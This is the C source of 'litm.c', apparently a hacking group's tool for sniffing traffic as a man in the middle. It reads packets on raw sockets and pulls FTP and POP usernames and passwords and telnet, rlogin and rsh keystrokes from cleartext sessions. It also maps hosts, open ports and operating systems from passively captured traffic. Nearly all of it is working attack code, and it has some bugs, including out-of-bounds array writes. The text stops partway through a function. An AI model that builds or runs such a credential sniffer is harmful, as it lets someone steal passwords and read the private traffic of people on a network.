/* EXCLUDED-TEAM [www.excluded.org]    -l0om
   litm.c - l0om in the middle - V.1.3

a man in the middle TCP/UDP sniffing tool. 

-sniffs established tcp/udp sessions on specified ports. 
-can sniff for new connections > then catch tranfer passwords
-can make a lame map of the network from sniffed traffic. (BETA)

written in emacs. 
 
"man muss in seinem leben prioritaeten setzten-
                                   und zwar nicht nur im ip header."
                        -l0om

greets:
havoc][              "du bist krank..."
proxy                "gib frei- ich will rein"
synopsis             "...das waere ne neue aufgabe fuer TheCake"
taktloss             "hrhr"
the rest of esc
lex diamond          
sleepy               "ich liebe solche gespraeche!"

*/

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/types.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>

/**** CONSTANTS ****/

#define   SNIFF_ETHED  1    /* sniff established connections */
#define   SNIFF_PWD    2    /* sniff for pwds -> new connections */
#define   SNIFF_MKMAP  3    /* build up an short netmap with */
                            /* the sniffed information */
#define   SF_SERONLY   20   /* sniff server responds */
#define   SF_CLIONLY   21   /* sniff clients packets */
#define   SF_SERCLI    22   /* sniff server and clients packets */
#define   MAXCON       30   /* maximal connections to view */
#define   M_HEXDMP     5    /* make hexdump from data */
#define   M_ASCII      6    /* show ascii only (for cleartext protocols) */
#define   LOGFILE      "litm.log" /* name of log file- for net map */


/**** DIFFINATION ****/

struct sniff_con {        /* infos about a connection */
  u_int saddr;            /* -source address */
  u_int daddr;            /* -dest address */
  int dport;              /* -dest port */
  int sport;              /* -source port */
  char protocol;          /* -protocol TCP || UDP */
};

struct patterns {         /* passiv mode- patterns for packets */
  u_int16_t dport;        /* dest port */
  char pattern[20];       /* the patter to search for ("USER" maybe) */
  unsigned more_step:1;   /* more step transfer */
  unsigned one_step:1;    /* one step transfer */
};

struct ttl_chk {          /* netmap- passiv ttl pingerprint */
  int ttl;                /* the catched ttl value */
  char os[40];            /* the guessed OS */
};

/**** PROTOTYPS ****/

static void sig_int_est(int sig);  /* interrupt handler - SNIFF_ETHED */
static void sig_int_pwd(int sig);  /* interrupt handler - SNIFF_PWD   */
static void sig_int_map(int sig);  /* interrupt handler - SNIFF_MKMAP */
static void sig_stp(int sig);      /* interrupt handler - all */
static void sig_int_psv(int sig);  /* interrupt handler - passiv sniff */
void sniff_established(void);      /* base for sniff established ones */
void sniff_pwd(void);              /* same for new ones */
void map_net(void);                /* collect infos */
void ttl_print(FILE *fd, int ttl, u_int addr);  /* p. fingerprint ttl value */
void sniff_passiv(void);           /* start litm passive mode */
void one_step(char *buf, char *ptr, ssize_t nbytes, struct patterns *pt, u_int saddr, u_int daddr);     /* catch transfered passwords - in one packet */
void more_step(char *buf, ssize_t nbytes, char *ptr, struct patterns *pt, u_int saddr, u_int daddr);    /* catch transfered passwords - in more steps */
void dump_data(char *data, ssize_t datalen, u_int mode); /* shows data */
void err_handle(int value, char *mess);     /* handle errors */
void sniff_tcp(int number, int what);       /* the real sniffing TCP */
void sniff_udp(int number, int what);       /* the real sniffing UDP */
void netprint(char *mess, FILE *fd);        /* prints to stout and into file */
int get_empty(void);                       /* return index n0 of free 
                                              sniff_con */
int check(u_int saddr, u_int daddr, int sport, int dport); 
     /* checks if there already is a sniff_con structur with this values */ 
void fflushscr(void);             /* clean the screen */
void start(void);                 /* start menue */
void ask_sniff(void);             /* ask what to sniff -client -server -both */
void help(void);                  /* help menue */
void header(void);                /* shows us the header */
void mkline(void);                /* prints out a line ("---"...) */

/**** GLOBALS ****/

int tcpstd[] = { 110, 109, 79, 80, 11, 13, 23, 20, 21, 25, 7, -1 };  /* list of cleartext protocols TCP - add whatever u want*/
int udpstd[] = { 69, 11, 13, 513, 514, 7, -1 };  /* list of cleartext protocols UDP */
struct sniff_con sniff[MAXCON];   /* the sniffing informations are global */
int mode;                         /* choosed mode at start */

int main(int argc, char **argv)
{
  int i;
  fflushscr();
  header();

  if(signal(SIGTSTP, sig_stp) == SIG_ERR)
    err_handle(-1, "\t [-] cannot install signalhandler - quit\n");

  if(argc > 1) {
    for(i = 0; i < argc; i++) { 
      if(strncmp(argv[i], "-p", 2) == 0) sniff_passiv();
      if(strncmp(argv[i], "--passiv", 8) == 0) sniff_passiv();
      if(strncmp(argv[i], "-h", 2) == 0) {
	help();
	exit(0);
      }
      if(strncmp(argv[i], "--help", 6) == 0) {
	help();
	exit(0);
      }
    }
  }

  if((getuid()|getgid()) != 0) {
    puts("\t [-] you must be root - quit");
    exit(-1);
  }

  memset((struct sinff_con *)&sniff[0], 0x00, sizeof(sniff));

  start();
  scanf("%d",&mode);
  fflush(stdin);

  if(mode == SNIFF_ETHED) sniff_established();
  if(mode == SNIFF_PWD) sniff_pwd();
  if(mode == SNIFF_MKMAP) map_net();
  else err_handle(-1, "[-] choosed an illegal option - quit\n");
  
  return(0);
}

void sniff_passiv(void)
{
  int tcpsock, udpsock, nbytes, i;
  char buf[2048], *ptr, *ptr2;
  struct tcphdr *tcp;
  struct iphdr *ip;
  struct udphdr *udp;
  struct patterns sf_pattern[7]; 
  fd_set rset;
  
  puts("\t [#] switched to passiv mode");

  if(signal(SIGINT, sig_int_psv) == SIG_ERR) 
    err_handle(-1, "\t [-] cannot install signalhandler - quit\n");
  puts("\t [+] signalhandler installed [SIGINT]");
  puts("\t [+] signalhandler installed [SIGSTP]");

  tcpsock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  err_handle(tcpsock, "\t [-] cannot creat socket - quit\n");
  puts("\t [+] tcp raw socket created");

  udpsock = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  err_handle(udpsock, "\t [-] cannot creat socket - quit\n");
  puts("\t [+] udp raw socket created");

  memset((struct patterns *)&sf_pattern[0], 0x00, sizeof(sf_pattern));
  
  sf_pattern[0].dport = htons(21);         /* FTP PATTERNS */
  strcpy(sf_pattern[0].pattern, "USER");
  sf_pattern[0].one_step = 1;

  sf_pattern[1].dport = htons(21);
  strcpy(sf_pattern[1].pattern, "PASS");
  sf_pattern[1].one_step = 1;

  sf_pattern[2].dport = htons(110);        /* POP PATTERNS */
  strcpy(sf_pattern[2].pattern, "USER");
  sf_pattern[2].one_step = 1;

  sf_pattern[3].dport = htons(110);
  strcpy(sf_pattern[3].pattern, "PASS");
  sf_pattern[3].one_step = 1;

  sf_pattern[4].dport = htons(23);         /* TELNET */
  sf_pattern[4].more_step = 1;

  sf_pattern[5].dport = htons(513);        /* RLOGIN */
  sf_pattern[5].more_step = 1;

  sf_pattern[6].dport = htons(514);        /* RSH */
  sf_pattern[6].more_step = 1;

  sf_pattern[7].dport = htons(555);        /* if u are 666 - iam 555! */
  strcpy(sf_pattern[7].pattern, "NONE");
  sf_pattern[7].one_step = 1;

  puts("\t [#] start to sniff");
  mkline();

  FD_ZERO(&rset);
  while(1 > 0) {
    FD_SET(tcpsock, &rset);
    FD_SET(udpsock, &rset);
    memset(buf, 0x00, sizeof(buf));

    select(tcpsock+udpsock+1, &rset, NULL, NULL, NULL);

    if(FD_ISSET(tcpsock, &rset)) {
      nbytes = read(tcpsock, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");
      ip = (struct iphdr *)buf;
      tcp = (struct tcphdr *)(buf + sizeof(struct iphdr));
      ptr = (char *) (buf + sizeof(struct iphdr) + sizeof(struct tcphdr));

      for(i = 0; i <= 7; i++) {      
	if(sf_pattern[i].dport != tcp->dest) continue;
	if(sf_pattern[i].one_step == 1) one_step(buf, ptr, nbytes,
		      (struct patterns *)&sf_pattern[i], ip->saddr, ip->daddr);
	else { 
	  nbytes = nbytes - sizeof(struct iphdr) - sizeof(struct tcphdr);
	  more_step(buf, nbytes, ptr, 
		      (struct patterns *)&sf_pattern[i], ip->saddr, ip->daddr);
	}
      }
    }
    
    if(FD_ISSET(udpsock, &rset)) {
      nbytes = read(udpsock, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");
      ip = (struct iphdr *)buf;
      udp = (struct udphdr *)(buf + sizeof(struct iphdr));
      ptr = (char *)(buf + sizeof(struct iphdr) + sizeof(struct udphdr));

      for(i = 0; i <= 7; i++) { 
	if(sf_pattern[i].dport != udp->dest) continue;
        if(sf_pattern[i].one_step == 1) one_step(buf, ptr, nbytes,
                 (struct patterns *)&sf_pattern[i], ip->saddr, ip->daddr);
        else {
	  nbytes = nbytes - sizeof(struct iphdr) - sizeof(struct tcphdr);
	  more_step(buf, nbytes, ptr, 
		    (struct patterns *)&sf_pattern[i], ip->saddr, ip->daddr);
	}
      }
    }
  }  /* while */
}


void one_step(char *buf, char *ptr, ssize_t nbytes, 
	      struct patterns *pt, u_int saddr, u_int daddr)
{
  char *ptr2;

  if( (ptr2 = (char *)memchr((char *)buf,
			     pt->pattern[0], nbytes)) != NULL) {
    if(strstr(ptr2, pt->pattern) != NULL) {
      printf("%s <-> %s    dport(%d)\n",inet_ntoa(saddr), inet_ntoa(daddr), ntohs(pt->dport));
    dump_data(ptr, nbytes, M_ASCII);
    mkline();
    } 
  } 
}

void more_step(char *buf, ssize_t nbytes, char *ptr, 
	       struct patterns *pt, u_int saddr, u_int daddr)
{
  time_t thetime;
  struct tm *tmptr = {0};
  
  if(nbytes == 13 && (isascii(ptr[12]))) {
    time(&thetime);
    tmptr = localtime(&thetime);
    printf("%s <-> %s   dport(%d) --> %d:%d:%d\n",inet_ntoa(saddr), inet_ntoa(daddr), ntohs(pt->dport), tmptr->tm_hour,tmptr->tm_min,tmptr->tm_sec);
    printf("\t--->>  [%c]\n\n",ptr[12]);
  }
}    

static void sig_int_psv(int sig)
{
  mkline();
  puts("\t [#] received interrupt signal");
  puts("\t [+] exiting...");
  mkline();
  sleep(1);
  exit(0);
}

static void sig_int_est(int sig)
{
  int i, j, what;

  fflushscr();
  puts("\t [#] list all seen connections");
  mkline();

  for(i = 0; i < MAXCON; i++) 
    if(sniff[i].saddr == 0x00)
      continue;
    else printf("%s <--> %s dport(%d) sport(%d) %s [%d]\n", inet_ntoa(sniff[i].saddr), inet_ntoa(sniff[i].daddr), ntohs(sniff[i].sport), ntohs(sniff[i].dport), ((sniff[i].protocol == IPPROTO_TCP) ? "tcp" : "udp"),i);
  
  mkline();
  puts("\t [!] enter number of connection you want so sniff");
  scanf("%d",&j);
  fflush(stdin);
  ask_sniff();
  scanf("%d",&what);
  fflush(stdin);
 
  if(what != SF_SERONLY && what != SF_CLIONLY && what != SF_SERCLI) {
    puts("\t [-] you choosed illegal number - break out");
    return;
  }

  printf("\t [#] sniff options --> connection number [%d]\n",j);

  if(sniff[j].saddr == 0x00) {
    puts("\t [-] you choosed illegal number - break out");
    return;
  }

  if(sniff[j].protocol == IPPROTO_TCP)
    sniff_tcp(j, what);
  else sniff_udp(j, what);
}

static void sig_int_pwd(int sig)
{
  mkline();
  puts("\t [#] received interrupt - flipping back");
  mkline();
  sniff_pwd();
}

static void sig_int_map(int sig)
{
  mkline();
  puts("\t [#] received interrupt");
  puts("\t [+] quiting");
  mkline();
  sleep(1);
  exit(0);
}

void sniff_tcp(int number, int what)
{
  fd_set rset;
  int sockfd, sniff_mode, nbytes, i, j = -1;
  struct iphdr *ip;
  struct tcphdr *tcp;
  char buf[2048], *ptr;

  if(mode == SNIFF_ETHED) {
    for(i = 0; tcpstd[i] != -1; i++) {
      if(tcpstd[i] == (int)(ntohs(sniff[number].dport))) {
	j = 0;
	break;
      }
    }
    if(j == 0) {
      puts("\t [!] enter sniffing mode");
      puts("\t 5) Hexa data dump");
      puts("\t 6) ASCII data dump [recommended]");
    } else {
      puts("\t [!] enter sniffing mode");
      puts("\t 5) Hexa data dump [recommended]");
      puts("\t 6) ASCII data dump");
    }
    scanf("%d",&sniff_mode);
    fflush(stdin);
  if(sniff_mode != M_HEXDMP && sniff_mode != M_ASCII) {
    puts("\t [-] you choosed illegal sniffing mode - break out");
    return;
    }
  } else sniff_mode = M_ASCII;


  sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  err_handle(sockfd, "\t [-] cannot creat socket - quit\n");

  fflushscr();
  puts("\t [#] start sniffing now...");
  mkline();

  ip = (struct iphdr *)buf;
  tcp = (struct tcphdr *)(buf + sizeof(struct iphdr));
  ptr = (char *)(buf + sizeof(struct iphdr) + sizeof(struct tcphdr));

  FD_ZERO(&rset);
  
  while(1 > 0) {
    FD_SET(sockfd, &rset);
    FD_SET(fileno(stdin), &rset);

    select(sockfd+1, &rset, NULL, NULL, NULL);
   
    if(FD_ISSET(sockfd, &rset)) {
      memset(buf, 0x00, sizeof(buf));
      nbytes = read(sockfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");
      nbytes = nbytes - sizeof(struct iphdr) - sizeof(struct tcphdr);

      if(what == SF_SERONLY && tcp->source == sniff[number].dport)
	dump_data(ptr, nbytes, sniff_mode);
      if(what == SF_CLIONLY && tcp->dest == sniff[number].dport)
	dump_data(ptr, nbytes, sniff_mode);
      if(what == SF_SERCLI && (tcp->dest == sniff[number].dport || tcp->dest == sniff[number].sport))
	dump_data(ptr, nbytes, sniff_mode); 
    }

    if(FD_ISSET(fileno(stdin), &rset)) {
      nbytes = read(fileno(stdin), buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      if(strncmp(buf, "\n", 1) == 0) { 
	puts("\t [#] go back to last loop");
	sleep(1);
	return;
      }
    }
  } /* while */
}

void sniff_udp(int number, int what) 
{
  fd_set rset;
  int sockfd, sniff_mode = 0, nbytes, i, j;
  struct iphdr *ip;
  struct udphdr *udp;
  char buf[2048], *ptr;

  
  if(mode == SNIFF_ETHED) { 
    for(i = 0; udpstd[i] != -1; i++) {
      if(tcpstd[i] == (int)(ntohs(sniff[number].dport))) {
	j = 0;
	break;
      }
    }
    if(j == 0){
      puts("\t [!] enter sniffing mode");
      puts("\t 5) Hexa data dump");
      puts("\t 6) ASCII data dump [recommended]");
  } else {
    puts("\t [!] enter sniffing mode");
    puts("\t 5) Hexa data dump [recommended]");
    puts("\t 6) ASCII data dump");
  }
  scanf("%d",&sniff_mode);
  fflush(stdin);
  if(sniff_mode != M_HEXDMP && sniff_mode != M_ASCII) {
    puts("\t [-] you choosed illegal sniffing mode - break out");
    return;
    }
  } else sniff_mode = M_ASCII;

  sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  err_handle(sockfd, "\t [-] cannot creat socket - quit\n");

  fflushscr();
  puts("\t [#] start sniffing now...");
  mkline();

  ip = (struct iphdr *)buf;
  udp = (struct udphdr *)(buf + sizeof(struct iphdr));
  ptr = (char *)(buf + sizeof(struct iphdr) + sizeof(struct udphdr));

  FD_ZERO(&rset);
  while(1 > 0) {
    FD_SET(sockfd, &rset);
    FD_SET(fileno(stdin), &rset);

    select(sockfd+1, &rset, NULL, NULL, NULL);
 
    if(FD_ISSET(sockfd, &rset)) {
      memset(buf, '\0', sizeof(buf));
      nbytes = read(sockfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");
      nbytes = nbytes - sizeof(struct iphdr) - sizeof(struct udphdr);

      if(what == SF_SERONLY && udp->source == sniff[number].dport)
        dump_data(ptr, (ssize_t)nbytes, sniff_mode);
      if(what == SF_CLIONLY && udp->dest == sniff[number].dport)
        dump_data(ptr, (ssize_t)nbytes, sniff_mode);
	if(what == SF_SERCLI && (udp->dest == sniff[number].dport || udp->dest == sniff[number].sport))
        dump_data(ptr, (ssize_t)nbytes, sniff_mode);
    }

    if(FD_ISSET(fileno(stdin), &rset)) {
      nbytes = read(fileno(stdin), buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      if(strncmp(buf, "\n", 1) == 0) {
	puts("\t [#] go back to last loop");
	sleep(1);
	return;
      }
    }
  } /* while */
}

void dump_data(char *data, ssize_t datalen, u_int mode)
{
  char *ptr, hex[16];
  int i = 0;
  
  ptr = &data[0];

  if(mode == M_ASCII) {   /* make ASCII data dump */
    while(datalen > 0) {
      datalen--;
      if(isascii(*ptr) != 0) printf("%c",*ptr);
      ptr++;
    }
  } else {                /* make hexa data dump */
    printf("\t\t\t- GRAPHIC DUMP -\n");
    mkline();

    for(i = 0; i < datalen; i++) {
      if(isgraph(*ptr) != 0) printf("%c",*ptr);
      else printf(".");
      if((i % 16) == 0) printf("\n");
      ptr++;
    }
    printf("\n");
    printf("\t\t\t- HEX DUMP -\n");
    mkline();

    ptr = &data[0];
    for(i = 0; i < datalen; i++) {
      printf(" %02x",*ptr);
      ptr++;
      if((i % 16) == 0) printf("\n");
    }
    printf("\n\n");
    fflush(stdout);
  }
}

void netprint(char *mess, FILE *fd)
{
  char sentence[255];  /* maximal chars for a singel sentence */
 
  fseek(fd, 0L, SEEK_SET);

  while(fgets(sentence, 255, fd) != NULL) 
    if(strstr(sentence, mess) != NULL)
      return;
   
  puts(mess);
  fprintf(fd, mess);
}

void map_net(void)
{
  int tcpfd, udpfd, icmpfd, nbytes, num, j = 0;
  u_int udpstate = 0, port = 0;
  int choose = 0;
  time_t thetime;
  fd_set rset;
  char buf[50];   /* we only need the headers */
  char name[61], message[120];
  struct iphdr *ip;
  struct tcphdr *tcp;
  struct udphdr *udp;
  struct icmphdr *icmp;
  FILE *fd;        /* (f)ile (d)eskribtor */

  memset(name, '\0', sizeof(name));

  puts("\t [#] map network with net traffic");

  if(signal(SIGINT, sig_int_map) == SIG_ERR) 
    err_handle(-1, "\t [-] cannot install signalhandler [SIGINT] - quit\n");
  puts("\t [+] signalhandler installed [SIGINT]");
  puts("\t [+] signalhandler installed [SIGSTP]");

  puts("\t [!] do you want to creat a logfile with the name "LOGFILE"?");
  puts("\t     1) yes - creat it or write at the end of the file");
  puts("\t     2) no - i will enter a filename");
  scanf("%d",&choose);
  fflush(stdin);
  if(choose == 1) strncat(name, LOGFILE, strlen(LOGFILE));
  else if(choose == 2){ 
    puts("\t [!] enter a filename to creat (less then 60 chars)");
    scanf("%60s",name);
    fflush(stdin);
  } else {
    puts("\t [-] you choosed an illegal option - flipping back");
    sleep(2);
    map_net();
  }

  umask(066);
  fd = fopen(name, "w");    /* creat the file */
  fclose(fd);

  fd = fopen(name, "r+");
  if(fd == NULL) {
    puts("\t [-] cannot creat log file - quit");
    exit(-1);
  }

  puts("\t [+] logfile successful created");

  thetime = time(NULL);
  fseek(fd, 0L, SEEK_END);
  fprintf(fd, "%s\n",ctime(&thetime));
      
  tcpfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  err_handle(tcpfd, "\t [-] cannot creat socket\n");
  puts("\t [+] tcp raw socket created");

  udpfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  err_handle(udpfd, "\t [-] cannot creat socket\n");
  puts("\t [+] udp raw socket created");

  icmpfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
  err_handle(icmpfd, "\t [-] cannot creat socket\n");
  puts("\t [+] icmp raw socket created");

  puts("\t [#] start sniffing net traffic");
  mkline();

  FD_ZERO(&rset);
  while(1 > 0) {
    FD_SET(tcpfd, &rset);
    FD_SET(udpfd, &rset);
    FD_SET(icmpfd, &rset);
    memset(buf, 0x00, sizeof(buf));
    memset(message, '\0', sizeof(message));

    select(255, &rset, NULL, NULL, NULL);

    if(FD_ISSET(tcpfd, &rset)) {
      ip = (struct iphdr *)buf;
      tcp = (struct tcphdr *)(buf + sizeof(struct iphdr));
      nbytes = read(tcpfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");
      
      snprintf(message, sizeof(message), "%s: host is up\n",
	       inet_ntoa(ip->saddr));
      netprint(message, fd);

      ttl_print(fd, ip->ttl, ip->saddr);

      if(tcp->ack == 1 && tcp->rst == 0 && tcp->fin == 0 && tcp->psh == 0) {
	snprintf(message, sizeof(message), "%s: tcp port no %d open\n"
		 ,inet_ntoa(ip->saddr),ntohs(tcp->dest));
	netprint(message, fd);
      }
      
      if(tcp->ack == 1 && tcp->psh == 1 && tcp->urg == 0) {
	snprintf(message, sizeof(message), "%s: tcp port no %d open\n",
		 inet_ntoa(ip->saddr), ntohs(tcp->source));
	netprint(message, fd);
      }

      if(tcp->syn == 1 && tcp->ack == 1) {
	snprintf(message, sizeof(message), "%s: tcp port no %d open\n"
		 ,inet_ntoa(ip->saddr),ntohs(tcp->source));
	netprint(message, fd);
      }

      if(tcp->ack == 1 && tcp->rst == 1) {
	snprintf(message, sizeof(message), "%s: tcp port no %d closed\n",
		inet_ntoa(ip->saddr), ntohs(tcp->source));
	netprint(message, fd);
      }

    }

    if(FD_ISSET(udpfd, &rset)) {   /* omfg- hard to detect it... */
      ip = (struct iphdr *)buf;
      udp = (struct udphdr *)(buf + sizeof(struct iphdr));
      nbytes = read(udpfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      snprintf(message, sizeof(message),"%s: host is up\n",
	       inet_ntoa(ip->saddr));
      netprint(message, fd);

      ttl_print(fd, ip->ttl, ip->saddr);
      
	snprintf(message, sizeof(message), "%s: udp port no %d may be open\n",inet_ntoa(ip->daddr), ntohs(udp->dest));
	netprint(message, fd);

	if(udpstate = 0) {
	  udpstate = 1;
	  port = ntohs(udp->dest);
	}

      if(udpstate = 1 && port == ntohs(udp->source)) {
	udpstate = 0;
	port = 0;
	snprintf(message, sizeof(message), "%s: udp port no %d open\n",
                  inet_ntoa(ip->saddr), ntohs(udp->source));
	netprint(message, fd);
      }
    }

    /* durch icmp ist routererkennung moeglich */
    /* wie siehts mit passivem fingerprinting aus? */

    if(FD_ISSET(icmpfd, &rset)) {
      ip = (struct iphdr *)buf;
      icmp = (struct icmphdr *)(buf + sizeof(struct iphdr));
      nbytes = read(icmpfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      snprintf(message, sizeof(message), "%s: host is up\n",
	       inet_ntoa(ip->saddr));
      netprint(message, fd);
     
      ttl_print(fd, ip->ttl, ip->saddr);

	if(udpstate == 1 && icmp->code == 3) {
	  udpstate = 0;
	  snprintf(message, sizeof(message),"%s: udp port no %d closed\n",
		   inet_ntoa(ip->saddr), port);
	  netprint(message, fd);
	  port = 0;
	}

	if(icmp->code == 3 && icmp->type == 3) {
	  snprintf(message, sizeof(message), "%s: is a router\n", 
		   inet_ntoa(ip->saddr));
	  netprint(message, fd);
	}
    }
  } /* while(1 > 0)... */
}

void ttl_print(FILE *fd, int ttl, u_int addr)
{
  char buf[150];
  struct ttl_chk os[5];
  int ttlval, i, found = -1;

  memset(buf, '\0', sizeof(buf));
  memset((struct ttl_chk *)&os[0], 0x00, sizeof(os));

  os[0].ttl = 128;
  strcpy(os[0].os, "windows nt, 98, 2000\n");

  os[1].ttl = 64;
  strcpy(os[1].os, "(unixs) linux, xBSD, Unisys, FTX\n");

  os[2].ttl = 255;
  strcpy(os[2].os, "answer packet or cisco systems, solaris\n");

  os[3].ttl = 60;
  strcpy(os[3].os, "aix, cisco systems, irix\n");

  os[4].ttl = 150;
  strcpy(os[4].os, "router system (linksys,netgear...)\n");
  
  /* last one for the correct loop run */

  os[5].ttl = 555;          /* if u are 666 - iam 555! */
  strcpy(os[5].os, "NONE");

  for(i = 0; i <= 5; i++) {  /* covers ttl value +/- 1 hop */
    ttlval = ttl;
    if(ttlval != os[i].ttl) {
      ttlval++;
      if(ttlval != os[i].ttl) {
	ttlval-=2;
	if(ttlval == os[i].ttl) {
	 found = i; 
	 break; 
	} else continue;
      } else { found = i; break; }
    } else { found = i; break; }
  }
  if(found != -1) {
    snprintf(buf, sizeof(buf), "Remote OS guess: %s - %s"
	     ,inet_ntoa(addr), os[found].os);
    netprint(buf, fd);
    return;
  }
}

void sniff_pwd(void)
{
  int tcpfd, udpfd, icmpfd, nbytes, i, num, j = -1;
  u_int tcpstate = 0, udpstate = 0, port;
  fd_set rset;
  char buf[100];  /* we only need the header for now */
  struct iphdr *ip;
  struct tcphdr *tcp;
  struct udphdr *udp;
  struct icmphdr *icmp;

  puts("\t [#] sniff for new connections");

  if(signal(SIGINT, sig_int_pwd) == SIG_ERR) 
    err_handle(-1, "\t [-] cannot install signalhanlder [SIGINT] - quit\n");
  puts("\t [+] signalhanlder installed [SIGINT]");

  puts("\t [+] snignalhandler installed [SIGSTP]");

  tcpfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  err_handle(tcpfd, "\t [-] cannot creat socket - quit");
  puts("\t [+] tcp raw socket created");

  udpfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  err_handle(udpfd, "\t [-] cannot creat socket - quit");
  puts("\t [+] udp raw socket created");

  icmpfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
  err_handle(icmpfd, "\t [-] cannot creat socket - quit");
  puts("\t [+] icmp raw socket created");

  puts("\t [#] start listening for new connections...");
  mkline();

  FD_ZERO(&rset);

  while(1 > 0) {
    FD_SET(tcpfd, &rset);
    FD_SET(udpfd, &rset);
    FD_SET(icmpfd, &rset);
    memset(buf, 0x00, sizeof(buf));

    num = 0;
    num = get_empty();
    if(num == -1) {
      puts("\t [-] maximal connections reached - loop");
      continue;
    }

    select(255, &rset, NULL, NULL, NULL);

    if(FD_ISSET(tcpfd, &rset)) {
      ip = (struct iphdr *)buf;
      tcp = (struct tcphdr *)(buf + sizeof(struct iphdr));
      nbytes = read(tcpfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      for(i = 0; tcpstd[i] != -1; i++) {
	if(tcpstd[i] == (int)(ntohs(tcp->dest)) || 
	   (int)(ntohs(tcp->source))) {
	  j = 0;
	  break;
	}
      }
      if(j == -1) continue;   /* no cleartext proto -> loop */
      j = -1;

      if(tcp->syn == 1 && tcp->ack == 0 && tcpstate == 0) {
	tcpstate = 1;
	port = ntohs(tcp->dest);
	puts("\t [#] received syn - waitng on servers answer or clients +ack | +rst...");
	continue;
      }

      if(port == (int)(ntohs(tcp->source)) && tcp->rst == 1 && tcpstate == 1) {
	tcpstate = 0;
	puts("\t [#] servers reply +rst...  :(");
      }

      if(port == (int)(ntohs(tcp->dest)) && tcp->rst == 1) {
	tcpstate = 0;
	puts("\t [#] second clients reply - +rst...");
      }

      if(port == (int)(ntohs(tcp->dest)) &&  tcp->ack == 1 && tcp->syn == 1 && tcp->rst == 0 && tcpstate == 1) {
	tcpstate = 0;
	puts("\t [#] received +ack as second clients request -> start sniffing");

	sniff[num].saddr = ip->saddr;
	sniff[num].daddr = ip->daddr;
	sniff[num].sport = tcp->source;
	sniff[num].dport = tcp->dest;
	sniff[num].protocol = IPPROTO_TCP;
	sniff_tcp(num, SF_SERCLI);       /* here we go */
      }

      if(tcp->syn == 1 && tcp->ack == 1) {
	tcpstate = 0;   /* new connection found */
	puts("\t [#] a servers reply +syn +ack -> start sniffing");

	sniff[num].saddr = ip->saddr;
	sniff[num].daddr = ip->daddr;
	sniff[num].sport = tcp->source;
	sniff[num].dport = tcp->dest;
	sniff[num].protocol = IPPROTO_TCP;
        sniff_tcp(num, SF_SERCLI);      /* here we go again */
      }
    }

    if(FD_ISSET(udpfd, &rset)) {
      ip = (struct iphdr *)buf;
      udp = (struct udphdr *)(buf + sizeof(struct iphdr));
      nbytes = read(udpfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      for(i = 0; udpstd[i] != -1; i++) {
	if(udpstd[i] == (int)(ntohs(udp->dest))) {
	  j = 0;
	  break;
	}
      }
      if(j == -1) continue;
      j = -1;

      if(udpstate == 0) {
	udpstate++;
	port = ntohs(udp->dest);
	puts("\t [#] received udp packet- waiting for an reply");
	continue;
      }

      if(udpstate > 0 && port == (int)(ntohs(udp->source))) {
	udpstate = 0;
	puts("\t [#] i think we have got one -> start sniffing");

	sniff[num].saddr = ip->saddr;
	sniff[num].daddr = ip->daddr;
	sniff[num].sport = udp->source;
	sniff[num].dport = udp->dest;
	sniff[num].protocol = IPPROTO_UDP;
	sniff_udp(num, SF_SERCLI);      /* here we go again */
      }
      udpstate++;
      if(udpstate == 3) udpstate = 0;  /* stop waiting for an answer - 
                                                             new sniff */   
    }

    if(FD_ISSET(icmpfd, &rset)) { /* sniff for c3 t3 -> for udpstate */
      ip = (struct iphdr *)buf;
      icmp = (struct icmphdr *)(buf + sizeof(struct iphdr));
      nbytes = read(icmpfd, buf, sizeof(buf));
      err_handle(nbytes, "\t [-] cannot read - quit\n");

      if(udpstate > 0 && icmp->code == 3 && icmp->type == 3) {
	puts("\t [#] reveived icmp packet- code 3 type 3 -> udp reset...");
	udpstate = 0;
      }
    }

  } /* while (1 > 0) ... */
}

void sniff_established(void)
{
  int tcpfd, udpfd, nbytes, i, j = -1;
  char buf[1024];
  fd_set rset;
  struct iphdr *ip;
  struct tcphdr *tcp;
  struct udphdr *udp;

  puts("\t [#] sniff established connections");
  
  if(signal(SIGINT, sig_int_est) == SIG_ERR) 
    err_handle(-1, "\t [-] cannot install signalhandler [SIGINT] - quit");
  puts("\t [+] signalhandler installed [SIGINT]");

  puts("\t [+] signalhandler installed [SIGTSTP]");

  tcpfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  err_handle(tcpfd, "\t [-] cannot creat tcpraw socket - quit\n");
  puts("\t [+] tcp raw socket created");

  udpfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  err_handle(udpfd, "\t [-] cannot creat udpraw socket - quit\n");
  puts("\t [+] udp raw socket created");

  puts("\t [+] start listening for established connections");
  mkline();

  FD_ZERO(&rset);
  while(1 > 0) {
    FD_SET(tcpfd, &rset);
    FD_SET(udpfd, &rset);

    memset((char *)buf, 0x00, sizeof(buf));

    select(255, &rset, NULL, NULL, NULL);  /* block */

